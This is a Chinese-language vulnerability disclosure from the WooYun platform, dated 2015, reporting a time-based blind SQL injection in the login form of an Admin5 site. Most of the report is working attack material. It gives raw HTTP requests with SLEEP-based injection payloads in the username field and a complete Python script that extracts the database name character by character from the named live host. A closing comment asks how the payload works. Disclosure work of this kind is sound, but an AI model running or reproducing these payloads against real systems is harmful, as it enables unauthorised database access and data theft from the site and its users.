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缺陷编号：wooyun-2015-0149010

漏洞标题：A5站长网某站存在SQL注入漏洞(附验证脚本)

相关厂商：A5站长网

漏洞作者： 中央军

提交时间：2015-10-23 23:33

修复时间：2015-10-28 23:34

公开时间：2015-10-28 23:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2015-10-23： 细节已通知厂商并且等待厂商处理中
2015-10-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

POST /Login/login HTTP/1.1
Host: lianmeng.admin5.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%221c320e29cca506504514677a0d5fd96d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22210.74.157.98%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A65%3A%22Mozilla%2F5.0+%28Windows+NT+5.1%3B+rv%3A40.0%29+Gecko%2F20100101+Firefox%2F40.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1445589426%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Db420bfdef11a47e249791b34c8cf9b670d135b57; CNZZDATA1253702959=369810679-1445589126-%7C1445589126
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
change=&password=g00dPa%24%24w0rD&username='XOR(if(now()=sysdate(),SLEEP(IF(length(database())=11,5,0)),0))OR'

延迟注入
为真时，延迟5秒，db长度为11：

31.png

为假时，不延迟：

32.jpg


db的第一位为l（ascii：108）

POST /Login/login HTTP/1.1
Host: lianmeng.admin5.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%221c320e29cca506504514677a0d5fd96d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22210.74.157.98%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A65%3A%22Mozilla%2F5.0+%28Windows+NT+5.1%3B+rv%3A40.0%29+Gecko%2F20100101+Firefox%2F40.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1445589426%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Db420bfdef11a47e249791b34c8cf9b670d135b57; CNZZDATA1253702959=369810679-1445589126-%7C1445589126
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
change=&password=g00dPa%24%24w0rD&username='XOR(if(now()=sysdate(),SLEEP(IF(ascii(mid(database(),1,1))=108,5,0)),0))OR'

35.png

40.png

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
import math
headers = {'Content-Type':'application/x-www-form-urlencoded'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive MySQL DB:'
db= ''
for i in range(1, 12):
    for payload in payloads:
            #time.sleep(5)    #5秒来一发
            s = "change=&password=g00dParD&username='XOR(if(now()=sysdate(),SLEEP(IF(ascii(mid(database(),%s,1))=%s,3,0)),0))OR'" % (i, ord(payload))
            conn = httplib.HTTPConnection('lianmeng.admin5.com', timeout=150)
            conn.request(method='POST',
                         url='/Login/login',
                         body=s,
                         headers=headers)
            start_time = time.time()
            conn.getresponse()
            conn.close()
            print '.',
       
            if time.time() - start_time > 3.0:
                db += payload
                print '\n\n[in progress]', db,
                break
print '\n\n[Done] MySQL DB is %s' % db

漏洞证明：

修复方案：

版权声明：转载请注明来源 中央军@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-10-28 23:34

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2015-10-29 11:04 | 计算姬 ( 普通白帽子 | Rank:444 漏洞数:97 | 看我看我看我啊)

    s = "change=&password=g00dParD&username='XOR(if(now()=sysdate(),SLEEP(IF(ascii(mid(database(),%s,1))=%s,3,0)),0))OR'" % (i, ord(payload))这句该怎么理解